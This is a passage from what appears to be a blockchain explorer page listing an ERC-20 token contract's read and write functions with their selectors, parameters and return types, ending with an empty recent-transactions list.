operationsFeeSell 0x031d6cd0 → uint256
operationsTRBOSSc93bdnaWallet 0x416d5471 → address
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
tokensForLiquidity 0x1a8145bb → uint256
tokensForOperations 0xfb002c97 → uint256
totalFeesBuy 0x19c59e2c → uint256
totalFeesSell 0x0e47e822 → uint256
totalSupply 0x18160ddd → uint256
tradingOpen 0xffb54a99 → bool
uniswapPair 0xc816841b → address
uniswapV2Router 0x1694505e → address
Write Contract 9 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
buyBackTokens 0xfc155d1d
uint256 ETHAmountInWei
decreaseAllowance 0xa457c2d7
address spender
uint256 subtractedValue
returns: bool
increaseAllowance 0x39509351
address spender
uint256 addedValue
returns: bool
renounceOwnership 0x715018a6
No parameters
startTrading 0x293230b8
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address sender
address recipient
uint256 amount
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address